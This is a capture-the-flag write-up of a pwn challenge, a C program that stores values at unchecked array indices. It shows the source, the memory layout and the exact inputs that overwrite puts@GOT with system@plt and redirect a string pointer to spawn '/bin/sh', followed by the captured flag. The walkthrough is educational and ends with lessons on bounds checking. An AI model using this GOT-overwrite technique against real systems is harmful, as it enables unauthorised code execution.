Attachment
// gcc -no-pie -Wl,-z,relro -fstack-protector-all -o chal src.c
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x10
char *msg = "Update Complete";
int values[SIZE];
int idx, i;
void handle_error() {
system("echo ERROR OCCURRED");
exit(1);
}
void edit() {
while (1) {
printf("index? > ");
if (scanf("%d", &idx) != 1) {
handle_error();
}
if (idx == -1) {
break;
}
printf("value? > ");
if (scanf("%d", &values[idx]) != 1) {
handle_error();
}
}
puts(msg);
printf("Array: ");
for (i = 0; i < SIZE; i++) {
printf("%d ", values[i]);
}
printf("\n");
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
edit();
return 0;
}
📜 Prologue – A Very Trusting Program
Every good pwn challenge starts the same way:
“This looks easy.”
And this one really looked easy.
No heap allocations.
No ROP chains.
No mysterious libc versions.
Just… global variables.The program politely asks for an index and a value, and kindly stores that value in an array. What could possibly go wrong?
🔍 The Code That Started It All
Here’s the important part of the source:
int values[SIZE]; int idx; scanf("%d", &idx); scanf("%d", &values[idx]);
That’s it.
No bounds check.
No validation.
No fear.
Just blind trust.
😈 The Vulnerability – Negative Indexing
The array values has a fixed size:
#define SIZE 0x10
int values[SIZE];
But the program never checks whether idx is inside [0..SIZE-1].
That means we can do this:
values[-1]
values[-10]
values[-40]
And write before the array.
In other words:
Arbitrary write into nearby global variables.
Classic. Beautiful. Dangerous.
🧠 Memory Layout – Globals Are Neighbours
Global variables are laid out sequentially in memory.
After inspecting the binary, we find:
puts@GOT → 0x404020
msg → 0x404068
values → 0x4040c0
They are literally right next to each other.
This means:
- Writing to values[-22] overwrites msg
- Writing to values[-40] overwrites puts@GOT
C programmers everywhere felt a disturbance in the force.
🎯 The Plan – No libc, No Leaks, Just Vibes
Originally, one might try leaking libc addresses.
But then we noticed something important:
void handle_error() {
system("echo ERROR OCCURRED");
exit(1);
}
💡 system() is already imported!
So instead of leaking libc:
- Redirect puts() → system()
- Point msg → “/bin/sh”
- Let the program call puts(msg)
- Accidentally spawn a shell
Elegant. Minimal. Very CTF.
🔍 Finding system@plt
By disassembling handle_error:
40123b: callq 0x4010f0
That call corresponds to system().
So we know:
system@plt = 0x4010f0
And we already confirmed:
puts@GOT = 0x404020
🧮 Calculating the Evil Indices
Each element in values is an int (4 bytes).
So the index formula is:
(target_address - values_address) / 4
Result:
puts@GOT → -40
msg → -22
Negative indexing strikes again.
🧵 Writing “/bin/sh” into Memory
We need a string to pass to system().
Instead of hunting for one, we just write it ourselves into values.
"/bin" → 1852400175
"/sh\0" → 6845231
These two integers form the string /bin/sh.
💣 The Final Exploit Input
Here is the full interaction with the program:
index? > 0
value? > 1852400175 # "/bin"
index? > 1
value? > 6845231 # "/sh\0"
index? > -22
value? > 4210880 # msg → &values[0]
index? > -40
value? > 4198640 # puts@GOT → system@plt
index? > -1
At this point, the program proudly executes:
puts(msg);
Which now means:
system("/bin/sh");
Oops.
🐚 Shell Achieved
The shell appears.
We ask nicely:
ls
cat flag*
And the program responds:
TSGCTF{6O7_4nd_6lob4l_v4r1able5_ar3_4dj4c3n7_1n_m3m0ry_67216011}
Mission accomplished 🎉
🏁 Final Thoughts – Lessons Learned
- Global variables are not isolated
- Bounds checking is not optional
- Negative indices are weapons
- If system() exists, it will be abused
- GOT overwrites never go out of style
Or, in short:
Global variables are like roommates — place them too close together and someone will overwrite someone else’s stuff.
🧠 Takeaway
This challenge didn’t need fancy techniques.
Just:
- Observation
- Memory layout awareness
- And a healthy distrust of user input
Classic pwn.
Very satisfying.
GG 😄